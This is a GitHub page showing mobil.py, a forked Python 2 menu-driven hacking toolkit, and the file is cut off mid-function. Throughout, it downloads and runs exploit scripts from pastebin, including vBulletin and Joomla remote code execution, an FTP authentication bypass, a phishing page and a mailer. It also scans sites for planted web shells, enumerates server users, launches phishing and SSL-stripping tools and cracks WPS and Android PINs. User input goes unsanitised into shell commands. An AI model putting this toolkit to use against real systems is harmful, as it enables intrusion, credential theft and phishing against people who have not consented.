forked from Manisso/fsociety
-
Notifications
You must be signed in to change notification settings - Fork 1
/
mobil.py
1558 lines (1483 loc) · 54.6 KB
/
mobil.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python2.7
# ______ _ _ _______
# | ____| (_) | | |__ __|
# | |__ ___ ___ ___ _ ___| |_ _ _ | | ___ __ _ _ __ ___
# | __/ __|/ _ \ / __| |/ _ \ __| | | | | |/ _ \/ _` | '_ ` _ \
# | | \__ \ (_) | (__| | __/ |_| |_| | | | __/ (_| | | | | | |
# |_| |___/\___/ \___|_|\___|\__|\__, | |_|\___|\__,_|_| |_| |_|
# __/ |
# |___/
# Greet's To
# Koptan-Dz - Sparky Dz - HoussemTlm - Shadow00715
# Tool For Hacking
# Authors : Manisso & Sparky Dz
import sys
import argparse
import os
import time
import httplib
import subprocess
import re, urllib2
import socket
import urllib,sys,json
import telnetlib
import glob
import random
import Queue
import threading
import base64
from getpass import getpass
from commands import *
from sys import argv
from platform import system
from urlparse import urlparse
from xml.dom import minidom
from optparse import OptionParser
from time import sleep
##########################
os.system('clear')
def menu():
print ("""
# #
## ## ## # # # #### #### ####
# # # # # # ## # # # # # #
# # # # # # # # # #### #### # #
# # ###### # # # # # # # #
# # # # # ## # # # # # # #
# # # # # # # #### #### ####
#######
# #### #### # ####
# # # # # # #
# # # # # # ####
# # # # # # #
# # # # # # # #
# #### #### ###### ####
Penetration Testing Tools
""")
os.system('clear')
os.system('clear')
os.system('clear')
os.system('clear')
directories = ['/uploads/','/upload/','/files/','/resume/','/resumes/','/documents/','/docs/','/pictures/','/file/','/Upload/','/Uploads/','/Resume/','/Resume/','/UsersFiles/','/Usersiles/','/usersFiles/','/Users_Files/','/UploadedFiles/','/Uploaded_Files/','/uploadedfiles/','/uploadedFiles/','/hpage/','/admin/upload/','/admin/uploads/','/admin/resume/','/admin/resumes/','/admin/pictures/','/pics/','/photos/','/Alumni_Photos/','/alumni_photos/','/AlumniPhotos/','/users/']
shells = ['wso.php','shell.php','an.php','hacker.php','lol.php','up.php','cp.php','upload.php','sh.php','pk.php','mad.php','x00x.php','worm.php','1337worm.php','config.php','x.php','haha.php']
upload = []
yes = set(['yes','y', 'ye', 'Y'])
no = set(['no','n'])
def logo():
print """
__ __ _
| \/ | (_)
| \ / | __ _ _ __ _ ___ ___ ___
| |\/| |/ _` | '_ \| / __/ __|/ _ \
| | | | (_| | | | | \__ \__ \ (_) |
|_| |_|\__,_|_| |_|_|___/___/\___/
_____ _ ~ Multi Tools By Manisso ~
|_ _| | |
| | ___ ___ | |___
| |/ _ \ / _ \| / __|
| | (_) | (_) | \__ \
\_/\___/ \___/|_|___/
"""
def menu():
print("""
__ _ _
/ _| (_) | |
| |_ ___ ___ ___ _ ___| |_ _ _
| _/ __|/ _ \ / __| |/ _ \ __| | | |
| | \__ \ (_) | (__| | __/ |_| |_| |
|_| |___/\___/ \___|_|\___|\__|\__, |
Coded By Manisso & IcoDz __/ |
|___/
Select From The Menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing
6 : Web Hacking
7 : Private Web Hacking
8 : Post Exploitation
9 : Install & Update
99: Exit
""")
choice = raw_input("-> ")
os.system('clear')
if choice == "1":
info()
elif choice == "2":
passwd()
elif choice == "3":
wire()
elif choice == "4":
exp()
elif choice == "5":
snif()
elif choice == "6":
webhack()
elif choice == "7":
tnn()
elif choice == "8":
postexp()
elif choice == "9":
sniper()
elif choice == "99":
clearScr(),sys.exit();
elif choice == "":
menu()
else:
menu()
def sniper():
print ("This tool is only available for Linux and or similar systems ")
choicesniper = raw_input("Continue Y / N: ")
if choicesniper in yes:
os.system ("git clone https://github.com/Manisso/fsociety.git")
os.system ("cd fsociety && sudo bash ./update.sh")
os.system ("fsociety")
elif choicesniper == "":
menu()
def doork():
print("doork is a open-source passive vulnerability auditor tool that automates the process of searching on Google information about specific website based on dorks. ")
doorkchice = raw_input("Continue Y / N: ")
if doorkchice in yes:
os.system("pip install beautifulsoup4 && pip install requests")
os.system("git clone https://github.com/AeonDave/doork")
clearScr()
doorkt = raw_input("Target : ")
os.system("cd doork && python doork.py -t %s -o log.log"%doorkt)
def postexp():
clearScr()
print("1: Shell Checker")
print("2: POET")
print("3: Phishing Framework \n")
print("99: Return to main menu \n ")
choice11 = raw_input("-> ")
os.system('clear')
if choice11 == "1":
sitechecker()
if choice11 == "2":
poet()
if choice11 == "3":
weeman()
elif choice11 == "99":
menu()
def scanusers():
site = raw_input('Enter a website : ')
try:
users = site
if 'http://www.' in users:
users = users.replace('http://www.', '')
if 'http://' in users:
users = users.replace('http://', '')
if '.' in users:
users = users.replace('.', '')
if '-' in users:
users = users.replace('-', '')
if '/' in users:
users = users.replace('/', '')
while len(users) > 2:
print users
resp = urllib2.urlopen(site + '/cgi-sys/guestbook.cgi?user=%s' % users).read()
if 'invalid username' not in resp.lower():
print "\tFound -> %s" %users
pass
users = users[:-1]
except:
pass
def brutex():
clearScr()
print("Automatically brute force all services running on a target : Open ports / DNS domains / Usernames / Passwords ")
os.system("git clone https://github.com/1N3/BruteX.git")
clearScr
brutexchoice = raw_input("Select a Target : ")
os.system("cd BruteX && chmod 777 brutex && ./brutex %s"%brutexchoice)
def arachni():
print("Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications")
cara = raw_input("Install And Run ? Y / N : ")
clearScr
print("exemple : http://www.target.com/")
tara = raw_input("Select a target to scan : ")
if cara in yes:
os.system("git clone git://github.com/Arachni/arachni.git")
os.system("cd arachni && sudo gem install bundler && bundle install --without prof && rake install")
os.system("archani")
clearScr()
os.system("cd arachni/bin && chmod 777 arachni && ./arachni %s"%tara)
def xsstracer():
clearScr()
print("XSSTracer is a small python script that checks remote web servers for Clickjacking, Cross-Frame Scripting, Cross-Site Tracing and Host Header Injection.")
os.system("git clone https://github.com/1N3/XSSTracer.git")
clearScr ()
xsstracerchoice = raw_input("Select a Target: ")
os.system("cd XSSTracer && chmod 777 xsstracer.py && python xsstracer.py %s 80"%xsstracerchoice)
def weeman():
print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).")
choicewee = raw_input("Install Weeman ? Y / N : ")
if choicewee in yes:
os.system("git clone https://github.com/Hypsurus/weeman.git && cd weeman && python weeman.py")
if choicewee in no:
menu()
else:
menu()
def gabriel():
print("Abusing authentication bypass of Open&Compact (Gabriel's)")
os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py")
clearScr()
os.system("python gabriel.py")
ftpbypass=raw_input("Enter Target IP and Use Command :")
os.system("python gabriel.py %s"%ftpbypass)
def sitechecker():
os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py")
clearScr()
os.system("python ch01.py")
def h2ip():
host = raw_input("Select A Host : ")
ips = socket.gethostbyname(host)
print(ips)
def ports():
clearScr()
target = raw_input('Select a Target IP -> ')
os.system("nmap -O -Pn %s" % target)
sys.exit();
def ifinurl():
print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found."""
print('Do You Want To Install InurlBR ? ')
cinurl = raw_input("Y/N: ")
if cinurl in yes:
inurl()
if cinurl in no:
menu()
elif cinurl == "":
menu()
else:
menu()
def bsqlbf():
clearScr()
print("This tool will only work on blind sql injection")
cbsq=raw_input("select target : ")
os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl")
os.system("perl bsqlbf.pl -url %s"%cbsq)
os.system("rm bsqlbf.pl")
def venom():
print ("Venom Automatic Shellcode Generator")
print ("Do You To Install Venom ?")
choiceshell = raw_input("Y/N: ")
if choiceshell in yes:
os.system("wget http://fsociety.tn/venom.zip --output-document=venom.zip")
os.system("unzip venom.zip -d venom")
os.system("cd venom && sh venom.sh")
elif choiceshell in no:
os.system('clear'); info()
def commix():
print ("Automated All-in-One OS Command Injection and Exploitation Tool.")
print ("usage : python commix.py --help")
choicecmx = raw_input("Continue: y/n :")
if choicecmx in yes:
os.system("git clone https://github.com/stasinopoulos/commix.git commix")
os.system("cd commix")
os.system("python commix.py")
os.system("")
elif choicecmx in no:
os.system('clear'); info()
def pixiewps():
print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only
"""
choicewps = raw_input("Continue ? Y/N : ")
if choicewps in yes :
os.system("git clone https://github.com/wiire/pixiewps.git")
os.system(" cd pixiewps/src & make ")
os.system(" cd pixiewps/src & sudo make install")
if choicewps in no :
menu()
elif choicewps == "":
menu()
else:
menu()
def webhack():
print("1 : Drupal Hacking ")
print("2 : Inurlbr")
print("3 : Wordpress & Joomla Scanner")
print("4 : Gravity Form Scanner")
print("5 : File Upload Checker")
print("6 : Wordpress Exploit Scanner")
print("7 : Wordpress Plugins Scanner")
print("8 : Shell and Directory Finder")
print("9 : Joomla! 1.5 - 3.4.5 remote code execution")
print("10: Vbulletin 5.X remote code execution")
print("11: BruteX - Automatically brute force all services running on a target")
print("12: Arachni - Web Application Security Scanner Framework \n ")
print("99: Exit \n ")
choiceweb = raw_input("-> ")
if choiceweb == "1":
clearScr()
maine()
if choiceweb == "2":
clearScr(); ifinurl()
if choiceweb =='3':
clearScr(); wppjmla()
if choiceweb =="4":
clearScr(); gravity()
if choiceweb =="5":
clearScr(); sqlscan()
if choiceweb =="6":
clearScr(); wpminiscanner()
if choiceweb =="7":
clearScr();wppluginscan()
if choiceweb =="8":
clearScr();shelltarget()
if choiceweb =="9":
clearScr();joomlarce()
if choiceweb =="10":
clearScr();vbulletinrce()
if choiceweb =="11":
clearScr();brutex()
if choiceweb=="12":
clearScr();arachni()
elif choiceweb =="99":
menu()
elif choiceweb == "":
menu()
else:
menu()
def vbulletinrce():
os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl")
os.system("perl tmp.pl")
def joomlarce():
os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py")
clearScr();print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt")
jmtarget=raw_input("Select a targets list :")
os.system("python temp.py %s"%jmtarget)
def inurl():
dork = raw_input("select a Dork:")
output = raw_input("select a file to save :")
os.system("./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
if cinurl in no:
insinurl()
elif cinurl == "":
menu()
else:
menu()
def insinurl():
os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git")
os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
clearScr()
inurl()
def nmap():
choice7 = raw_input("continue ? Y / N : ")
if choice7 in yes :
os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
os.system("cd nmap-7.01 & ./configure")
os.system("cd nmap-7.01 & make")
os.system("su root")
os.system("cd nmap-7.01 & make install")
elif choice7 in no :
info()
elif choice7 == "":
menu()
else:
menu()
def jboss():
os.system('clear')
print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
print ("deployed, the script uses its upload and command execution capability to")
print ("provide an interactive session.")
print ("")
print ("usage : ./e.sh target_ip tcp_port ")
print("Continue: y/n")
choice9 = raw_input("yes / no :")
if choice9 in yes:
os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
elif choice9 in no:
os.system('clear'); exp()
elif choice9 == "":
menu()
else:
menu()
def wppluginscan():
Notfound = [404,401,400,403,406,301]
sitesfile = raw_input("sites file : ")
filepath = raw_input("Plugins File : ")
def scan(site, dir):
global resp
try:
conn = httplib.HTTPConnection(site)
conn.request('HEAD', "/wp-content/plugins/" + dir)
resp = conn.getresponse().status
except(), message:
print "Cant Connect :",message
pass
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def main():
sites = open(sitesfile).readlines()
plugins = open(filepath).readlines()
for site in sites:
site = site.rstrip()
for plugin in plugins:
plugin = plugin.rstrip()
scan(site,plugin)
if resp not in Notfound:
print "+----------------------------------------+"
print "| current site :" + site
print "| Found Plugin : " + plugin
print "| Result:",resp
def sqlmap():
print ("usage : python sqlmap.py -h")
choice8 = raw_input("Continue: y/n :")
if choice8 in yes:
os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
elif choice8 in no:
os.system('clear'); info()
elif choice8 == "":
menu()
else:
menu()
def grabuploadedlink(url):
try :
for dir in directories :
currentcode = urllib.urlopen(url + dir).getcode()
if currentcode == 200 or currentcode == 403:
print "-------------------------"
print " [ + ] Found Directory : " + str(url + dir) + " [ + ]"
print "-------------------------"
upload.append(url + dir)
except :
pass
def grabshell(url) :
try :
for upl in upload :
for shell in shells :
currentcode = urllib.urlopen(upl + shell).getcode()
if currentcode == 200 :
print "-------------------------"
print " [ ! ] Found Shell : " + str(upl + shell) + " [ ! ]"
print "-------------------------"
except :
pass
def shelltarget():
print("exemple : http://target.com")
line = raw_input("target : ")
line = line.rstrip()
grabuploadedlink(line)
grabshell(line)
def poet():
print("POET is a simple POst-Exploitation Tool.")
print("")
choicepoet = raw_input("y / n :")
if choicepoet in yes:
os.system("git clone https://github.com/mossberg/poet.git")
os.system("python poet/server.py")
if choicepoet in no:
clearScr(); postexp()
elif choicepoet == "":
menu()
else:
menu()
def setoolkit():
print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
print(") designed for social engineering. SET has a number of custom attack vectors that ")
print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC ")
print("an information security consulting firm located in Cleveland, Ohio.")
print("")
choiceset = raw_input("y / n :")
if choiceset in yes:
os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git")
os.system("python social-engineer-toolkit/setup.py")
if choiceset in no:
clearScr(); info()
elif choiceset == "":
menu()
else:
menu()
def cupp():
print("cupp is a password list generator ")
print("Usage: python cupp.py -h")
choicecupp = raw_input("Continue: y/n : ")
if choicecupp in yes:
os.system("git clone https://github.com/Mebus/cupp.git")
print("file downloaded successfully")
elif choicecupp in no:
clearScr(); passwd()
elif choicecupp == "":
menu()
else:
menu()
def ncrack():
print("A Ruby interface to Ncrack, Network authentication cracking tool.")
print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
print("Continue: y/n")
choicencrack = raw_input("y / n :")
if choicencrack in yes:
os.system("git clone https://github.com/sophsec/ruby-ncrack.git")
os.system("cd ruby-ncrack")
os.system("install ruby-ncrack")
elif choicencrack in no:
clearScr(); passwd()
elif choicencrack == "":
menu()
else:
menu()
def reaver():
print """
Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup
WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a
wide variety of access points and WPS implementations
1 to accept / 0 to decline
"""
creaver = raw_input("y / n :")
if creaver in yes:
os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git")
os.system("cd reaver-wps-fork-t6x/src/ & ./configure")
os.system("cd reaver-wps-fork-t6x/src/ & make")
elif creaver in no:
clearScr(); wire()
elif creaver == "":
menu()
else:
menu()
def ssls():
print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
attacks.
It requires Python 2.5 or newer, along with the 'twisted' python module."""
cssl = raw_input("y / n :")
if cssl in yes:
os.system("git clone https://github.com/moxie0/sslstrip.git")
os.system("sudo apt-get install python-twisted-web")
os.system("python sslstrip/setup.py")
if cssl in no:
snif()
elif cssl =="":
menu()
else:
menu()
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
lista.extend(findall1)
page += 50
except urllib2.URLError:
pass
final = unique(lista)
return final
def check_gravityforms(sites) :
import urllib
gravityforms = []
for site in sites :
try :
if urllib.urlopen(site+'wp-content/plugins/gravityforms/gravityforms.php').getcode() == 403 :
gravityforms.append(site)
except :
pass
return gravityforms
def gravity():
ip = raw_input('Enter IP : ')
sites = bing_all_grabber(str(ip))
gravityforms = check_gravityforms(sites)
for ss in gravityforms :
print ss
print '\n'
print '[*] Found, ', len(gravityforms), ' gravityforms.'
def shellnoob():
print """Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!"""
cshell = raw_input("Y / N : ")
if cshell in yes:
os.system("git clone https://github.com/reyammer/shellnoob.git")
os.system("mv shellnoob/shellnoob.py shellnoob.py")
os.system("sudo python shellnoob.py --install")
if cshell in no:
exp()
elif cshell =="":
menu()
else:
menu()
def info():
print("""
__ _ _
/ _| (_) | |
| |_ ___ ___ ___ _ ___| |_ _ _
| _/ __|/ _ \ / __| |/ _ \ __| | | |
| | \__ \ (_) | (__| | __/ |_| |_| |
|_| |___/\___/ \___|_|\___|\__|\__, |
Coded By Manisso & Sparky Dz __/ |
|___/ """)
print("1: Nmap ")
print("2: Setoolkit")
print("3: Port Scanning")
print("4: Host To IP")
print("5: wordpress user")
print("6: CMS scanner")
print("7: XSStracer")
print("8: Dork - Google Dorks Passive Vulnerability Auditor ")
print("9: Scan A server's Users \n ")
print("99: Back To Main Menu \n")
choice2 = raw_input("-> ")
if choice2 == "1":
os.system('clear'); nmap()
if choice2 == "2":
clearScr(); setoolkit()
if choice2 == "3":
clearScr(); ports()
if choice2 == "4":
clearScr(); h2ip()
if choice2 == "5":
clearScr(); wpue()
if choice2 == "6":
clearScr(); cmsscan()
if choice2 == "7":
clearScr(); xsstracer()
if choice2 == "8":
clearScr();doork()
elif choice2 =="99":
clearScr(); menu()
if choice2 == "9":
clearScr();scanusers()
elif choice2 == "":
menu()
else:
menu()
def cmsscan():
os.system("git clone https://github.com/Dionach/CMSmap.git")
clearScr();
xz=raw_input("select target : ")
os.system("cd CMSmap @@ sudo cmsmap.py %s"%xz)
def wpue():
os.system("git clone https://github.com/wpscanteam/wpscan.git")
clearScr();
xe=raw_input("Select a Wordpress target : ")
os.system("cd wpscan && sudo ruby wpscan.rb --url %s --enumerate u"%xe)
def priv8():
tnn()
def androidhash():
key=raw_input("Enter the android hash : ")
salt=raw_input("Enter the android salt : ")
os.system("git clone https://github.com/PentesterES/AndroidPINCrack.git")
os.system("cd AndroidPINCrack && python AndroidPINCrack.py -H %s -s %s"% (key, salt))
def passwd():
print("""
__ _ _
/ _| (_) | |
| |_ ___ ___ ___ _ ___| |_ _ _
| _/ __|/ _ \ / __| |/ _ \ __| | | |
| | \__ \ (_) | (__| | __/ |_| |_| |
|_| |___/\___/ \___|_|\___|\__|\__, |
Coded By Manisso & Sparky Dz __/ |
|___/ """)
print("1: Cupp ")
print("2: Ncrack \n ")
print("99: Back To Main Menu \n")
choice3 = raw_input("-> ")
if choice3 =="1":
clearScr(); cupp()
elif choice3 =="2":
clearScr(); ncrack()
elif choice3 =="99":
clearScr(); menu()
elif choice3 == "":
menu()
elif choice3 == "3":
fb()
else:
menu()
def bluepot():
print("you need to have at least 1 bluetooh receiver (if you have many it will work wiht those, too). You must install / libbluetooth-dev on Ubuntu / bluez-libs-devel on Fedora/bluez-devel on openSUSE ")
choice = raw_input("Continue ? Y / N : ")
if choice in yes:
os.system("wget https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz && tar xfz bluepot-0.1.tar.gz && sudo java -jar bluepot/BluePot-0.1.jar")
else :
menu()
def wire():
print("""
__ _ _
/ _| (_) | |
| |_ ___ ___ ___ _ ___| |_ _ _
| _/ __|/ _ \ / __| |/ _ \ __| | | |
| | \__ \ (_) | (__| | __/ |_| |_| |
|_| |___/\___/ \___|_|\___|\__|\__, |
Coded By Manisso & Sparky Dz __/ |
|___/ """)
print("1 : reaver ")
print("2 : pixiewps")
print("3 : Bluetooth Honeypot GUI Framework \n")
print("99: Back To The Main Menu \n")
choice4 = raw_input("-> ")
if choice4 =="1":
clearScr();reaver()
if choice4 =="2":
clearScr(); pixiewps()
if choice4 =="3":
bluepot()
elif choice4 =="99":
menu()
elif choice4 == "":
menu()
else:
menu()
def exp():
print("""
__ _ _
/ _| (_) | |
| |_ ___ ___ ___ _ ___| |_ _ _
| _/ __|/ _ \ / __| |/ _ \ __| | | |
| | \__ \ (_) | (__| | __/ |_| |_| |
|_| |___/\___/ \___|_|\___|\__|\__, |
Coded By Manisso & Sparky Dz __/ |
|___/ """)
print("1 : Venom")
print("2 : sqlmap")
print("3 : Shellnoob")
print("4 : commix")
print("5 : FTP Auto Bypass")
print("6 : jboss-autopwn")
print("7 : Blind SQL Automatic Injection And Exploit")
print("8 : Bruteforce the Android Passcode given the hash and salt")
print("9 : Joomla SQL injection Scanner \n ")
print("99 : Go Back To Main Menu \n")
choice5 = raw_input("-> ")
if choice5 =="2":
clearScr(); sqlmap()
if choice5 =="1":
os.system('clear'); venom()
if choice5 =="3":
clearScr(); shellnoob()
if choice5 =="4":
os.system("clear"); commix()
if choice5 =="5":
clearScr(); gabriel()
if choice5 =="6":
clearScr(); jboss()
if choice5 =="7":
clearScr();bsqlbf()
if choice5 =="8":
androidhash()
if choice5 =="9":
cmsfew()
elif choice5 =="99":
menu()
elif choice5 == "":
menu()
else:
menu()
def snif():
print("""
__ _ _
/ _| (_) | |
| |_ ___ ___ ___ _ ___| |_ _ _
| _/ __|/ _ \ / __| |/ _ \ __| | | |
| | \__ \ (_) | (__| | __/ |_| |_| |
|_| |___/\___/ \___|_|\___|\__|\__, |
Coded By Manisso & Sparky Dz __/ |
|___/ """)
print("1 : Setoolkit ")
print("2 : SSLtrip")
print("3 : pyPISHER")
print("4 : SMTP Mailer \n ")
print("99: Back To Main Menu \n")
choice6 = raw_input("-> ")
if choice6 =="1":
clearScr(); setoolkit()
if choice6 =="2":
clearScr(); ssls()
if choice6 =="3":
clearScr(); pisher()
if choice6 =="4":
clearScr(); smtpsend()
if choice6 =="99":
clearScr(); menu()
elif choice6 == "":
menu()
else:
menu()
def cmsfew():
print("your target must be Joomla, Mambo, PHP-Nuke, and XOOPS Only ")
target = raw_input("Select a target : ")
os.system("wget https://dl.packetstormsecurity.net/UNIX/scanners/cms_few.py.txt -O cms.py")
os.system("python cms.py %s"%target)
def smtpsend():
os.system("wget http://pastebin.com/raw/Nz1GzWDS --output-document=smtp.py")
clearScr()
os.system("python smtp.py")
def pisher():
os.system("wget http://pastebin.com/raw/DDVqWp4Z --output-document=pisher.py")
clearScr()
os.system("python pisher.py")
menuu = """
1) Get all websites
2) Get joomla websites
3) Get wordpress websites
4) Control Panel Finder
5) Zip Files Finder
6) Upload File Finder
7) Get server users
8) SQli Scanner
9) Ports Scan (range of ports)
10) ports Scan (common ports)
11) Get server Info
12) Bypass Cloudflare
99) Exit
"""
def unique(seq):
"""
get unique from list found it on stackoverflow
"""
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
def clearScr() :
"""
clear the screen in case of GNU/Linux or
windows
"""
if system() == 'Linux':
os.system('clear')
if system() == 'Windows':
os.system('cls')
class TNscan :
def __init__(self, serverip) :
self.serverip = serverip
self.getSites(False)
print menuu
while True :
choice = raw_input(' Enter choice -> ')
if choice == '1' :
self.getSites(True)
elif choice == '2' :
self.getJoomla()
elif choice == '3' :
self.getWordpress()
elif choice == '4' :
self.findPanels()
elif choice == '5' :
self.findZip()
elif choice == '6' :
self.findUp()
elif choice == '7' :
self.getUsers()
elif choice == '8' :
self.grabSqli()
elif choice == '9' :
ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
self.portScanner(1, ran)
elif choice == '10' :
self.portScanner(2, None)
elif choice == '11' :
self.getServerBanner()
elif choice == '12' :
self.cloudflareBypasser()
elif choice == '99' :
menu()
con = raw_input(' Continue [Y/n] -> ')
if con[0].upper() == 'N' :
exit()
else :
clearScr()
print menuu
def getSites(self, a) :
"""
get all websites on same server
from bing search
"""
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
lista.extend(findall1)
page += 50
except urllib2.URLError:
pass
self.sites = unique(lista)
if a :
clearScr()
print '[*] Found ', len(lista), ' Website\n'
for site in self.sites :
print site
def getWordpress(self) :
"""
get wordpress site using a dork the attacker
may do a password list attack (i did a tool for that purpose check my pastebin)
or scan for common vulnerabilities using wpscan for example (i did a simple tool
for multi scanning using wpscan)
"""
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
wpnoclean = findwebs[i]
findwp = re.findall('(.*?)\?page_id=', wpnoclean)
lista.extend(findwp)
page += 50
except:
pass
